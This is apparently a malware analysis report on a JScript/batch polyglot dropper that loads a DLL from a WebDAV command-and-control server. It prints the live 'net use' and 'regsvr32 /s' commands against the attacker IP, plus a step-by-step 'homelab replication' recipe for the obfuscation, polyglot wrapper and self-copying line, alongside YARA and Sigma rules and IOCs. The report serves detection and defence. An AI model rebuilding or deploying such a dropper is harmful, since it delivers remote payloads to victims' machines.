019d2f45acc4244e7fa8a5cb8e0897858b9884a15eb68162c8ea95778dd71b3aunclassified-js-webdav-dropper: 019d2f45 — JScript/batch polyglot, adbasf prefix, self-replicating WebDAV dropper
Executive Summary
JScript/batch polyglot dropper in the unclassified-js-webdav-dropper family. Shared-prefix SET obfuscation (adbasf, 62 entries), JScript self-replication to %userprofile%\hejgzq.bat, then batch-layer net use + regsvr32 /s against WebDAV C2 45.9.74.13:8888 to load payload 955.dll. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Seventy-first confirmed sibling. Static-only (CAPE skipped — not a binary).
What It Is
- Filename:
1073918301984921800.js^[triage.json] - Size: 5,910 bytes ^[exiftool.json]
- Type: ASCII text, JScript/batch polyglot, CRLF line endings ^[file.txt]
- Family:
unclassified-js-webdav-dropper— high-confidence sibling (see entity page for full cluster analysis)
How It Works
Obfuscation dialect
Shared-prefix SET variable obfuscation with prefix adbasf and 62 short-suffix assignments (e.g. adbasfhikath=o, adbasfqkfohs=s). The batch layer reassembles commands via %VAR% expansion; the JScript layer builds the same mapping in an object array and assembles strings via Function('return this')(). ^[strings.txt:1-67]
Execution chain
- JScript entry:
try{adbasf();}catch(e){...}callsthis.WScript.CreateObject('WScript.Shell').run(...)^[strings.txt:67] - Self-replication: Copies the script to
%userprofile%\hejgzq.batviacmd /k copy^[strings.txt:67] - Batch staging: The copied
.batexecutes:
^[strings.txt:63-64]net use \\45.9.74.13@8888\DavWWWRoot\ regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\955.dll - No PowerShell wrapper, no
wordpaddecoy, no sandbox gate.
C2 Infrastructure
- WebDAV host:
45.9.74.13:8888(same IP as siblingsda58243c,b910d575,4fdfd354,6f1d7c74,365235cd) ^[strings.txt:63] - Payload:
955.dll^[strings.txt:64]
Decompiled Behavior
Not applicable — this is a plaintext script, not a compiled binary. Capa and floss both rejected the input (non-PE) ^[capa.txt] ^[floss.txt]. No Ghidra/radare2 analysis required.
C2 Infrastructure
| Indicator | Value | Note |
|---|---|---|
| WebDAV C2 IP | 45.9.74.13 |
Port 8888; same IP as 5 prior siblings |
| Payload filename | 955.dll |
Fetched via regsvr32 /s over UNC |
| Self-replication path | %userprofile%\hejgzq.bat |
JScript copies itself here before batch execution |
Interesting Tidbits
- Polyglot design: The file opens as
.js(JScript) but contains a batch/* ... */comment block that wraps theSETassignments. When renamed to.bat, the batch interpreter ignores the/*comment start and processes theSETlines, then hits the*/and treats the JScript portion as a no-op comment. ^[strings.txt:1-66] - Self-replication via
ScriptFullName: The JScript usesthis.WScript.ScriptFullNameto copy its own path, making the dropper self-contained — no hardcoded staging filename in the payload logic. ^[strings.txt:67] - Minimal footprint: 5.9 KB, no padding, no decoy, no anti-analysis — purely functional. This is the smallest polyglot sibling in the
45.9.74.13:8888sub-cluster. - No
color f0 && start wordpaddecoy seen in the pure-batch natural-language dialect siblings.
How To Mess With It (Homelab Replication)
- Reproduce the shared-prefix SET obfuscation: pick a 6-char prefix (e.g.
adbasf), assign 62 characters to short suffixes, then buildnet useandregsvr32commands via%VAR%expansion. - Wrap the batch in a JScript
/* ... */comment to make it a polyglot. - Add the JScript self-replication layer using
WScript.Shell.run('cmd /k copy "' + WScript.ScriptFullName + '" %userprofile%\\<name>.bat && "%userprofile%\\<name>.bat"', 0, false). - Stand up a local WebDAV server (
wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav) and place a test DLL. - Execute the
.json a Windows VM; verify process chain in ProcMon:wscript.exe→cmd.exe→net.exe→regsvr32.exe.
Deployable Signatures
YARA rule
rule UNCLASSIFIED_JS_WEBDAV_DROPPER_POLYGLOT {
meta:
description = "JScript/batch polyglot WebDAV dropper — shared-prefix SET obfuscation + self-replication"
family = "unclassified-js-webdav-dropper"
author = "packetpursuit"
date = "2026-07-16"
strings:
$polyglot_start = "/* " ascii
$set_prefix = /set [a-z]{5,7}[a-z]{5,8}=/ ascii
$net_use = "net use \" ascii
$davwwwroot = "DavWWWRoot" ascii
$regsvr32 = "regsvr32 /s" ascii
$wscript_shell = "WScript.Shell" ascii nocase
$scriptfullname = "ScriptFullName" ascii nocase
$userprofile = "%userprofile%" ascii
condition:
$polyglot_start and $set_prefix and $davwwwroot and $regsvr32 and $wscript_shell and $scriptfullname
}
Sigma rule
title: JScript WebDAV Dropper Execution
detection:
selection:
CommandLine|contains|all:
- 'net use'
- 'DavWWWRoot'
ParentImage|endswith:
- '\\wscript.exe'
- '\\cscript.exe'
condition: selection
logsource:
category: process_creation
product: windows
IOC list
| Type | Value |
|---|---|
| SHA-256 | 019d2f45acc4244e7fa8a5cb8e0897858b9884a15eb68162c8ea95778dd71b3a |
| Filename | 1073918301984921800.js |
| WebDAV C2 | 45.9.74.13:8888 |
| Payload | 955.dll |
| Staging path | %userprofile%\hejgzq.bat |
Behavioral fingerprint
This sample is a JScript/batch polyglot that uses shared-prefix SET variable obfuscation (adbasf prefix, 62 entries) to hide net use and regsvr32 /s commands. The JScript layer self-replicates by copying ScriptFullName to %userprofile%\hejgzq.bat before spawning the batch layer. No PowerShell wrapper, no decoy, no sandbox gate. WebDAV C2 at 45.9.74.13:8888 fetches 955.dll.
Detection Signatures
| Capa / Static | ATT&CK | Evidence |
|---|---|---|
| T1059.005 (Visual Basic / JScript) | Execution | .js file opened by user, WScript host ^[strings.txt:67] |
| T1059.003 (Windows Command Shell) | Execution | cmd.exe executes batch copy and net use ^[strings.txt:63-64] |
| T1218.010 (Regsvr32) | Defense Evasion | regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\955.dll ^[strings.txt:64] |
| T1071.001 (Web Protocols) | C2 | WebDAV over HTTP (\\45.9.74.13@8888\DavWWWRoot\) ^[strings.txt:63] |
| T1105 (Ingress Tool Transfer) | C2 | net use mounts share; regsvr32 fetches remote DLL ^[strings.txt:63-64] |
References
- Artifact ID:
5dfd0316-8124-42e9-bad2-0d527b7d8a8f - Source: OpenCTI / MalwareBazaar
- Family entity: unclassified-js-webdav-dropper
- Technique page: webdav-regsvr32-dll-sideloading
Provenance
file.txt—fileutility (ExifTool 12.76)strings.txt—strings+ manual line referencestriage.json— triage pipeline metadatacapa.txt— Mandiant capa (rejected, non-PE)floss.txt— FireEye flare-floss (rejected, non-PE)dynamic-analysis.md— CAPE skipped (not a supported binary class)- Decoded via Python script
/tmp/decode_019d2f45.py(2026-07-16)